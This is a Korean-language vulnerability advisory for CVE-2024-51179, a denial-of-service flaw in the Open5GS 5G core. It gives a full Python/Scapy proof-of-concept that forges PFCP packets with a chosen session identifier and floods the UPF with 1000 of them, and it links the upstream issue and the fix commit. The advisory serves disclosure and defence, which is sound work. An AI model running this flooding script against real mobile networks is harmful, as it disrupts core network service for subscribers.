
설명: Open 5GS v.2.7.1의 문제로 인해 원격 공격자가 사용자 평면 기능(UPF) 및 세션 관리 기능(SMF)과 같은 네트워크 기능 가상화(NFV)를 통해 서비스 거부를 유발할 수 있습니다. NFV 내에서 발생하는 충돌로 인해 패킷 데이터 유닛(PDU) 세션 수립 프로세스가 영향을 받습니다.
공격자는 사용자 평면 기능(UPF)의 IP 주소, PFCP 포트 및 SEID(세션 엔드포인트 식별자)를 획득한 후 악성 PFCP(패킷 전달 제어 프로토콜) 패킷을 제작하여 UPF에 플러딩할 수 있습니다. 필요한 파라미터는 공격자가 사용자 평면 트래픽에 접근할 수 있는 경우 Wireshark와 같은 도구를 사용하여 가로챌 수 있습니다.
취약점 유형: 서비스 거부(Denial of Service)
영향: 악성 패킷을 전송하면 UPF가 오류 상태가 되어 새로운 PDU 세션 수립에 영향을 줍니다. 또한 악성 PFCP 패킷의 플러딩으로 인해 SMF(세션 관리 기능)도 영향을 받아 코어 기능이 중단됩니다.
전제 조건: 5G 코어 네트워크는 Open5GS를 코어 네트워크로, UERANSIM을 gNB(차세대 NodeB) 및 UE(사용자 장비)용 에뮬레이션 도구로 사용하여 구축되었습니다.
공격 수행 단계
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")


이 취약점은 Open5GS GitHub 페이지의 Issue #3497(https://github.com/open5gs/open5gs/issues/3497)로 문서화되었으며, Open5GS 공급업체에 보고되었습니다. 공급업체는 근본 원인을 시스템 충돌을 유발하는 메모리 해제 문제로 식별했습니다. 이후 패치가 적용되었고 코드가 업데이트되어 문제가 해결되었습니다. 업데이트된 코드는 여기에서 확인할 수 있습니다.
https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd
CVE-2024-51179가 게시되었습니다.
DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)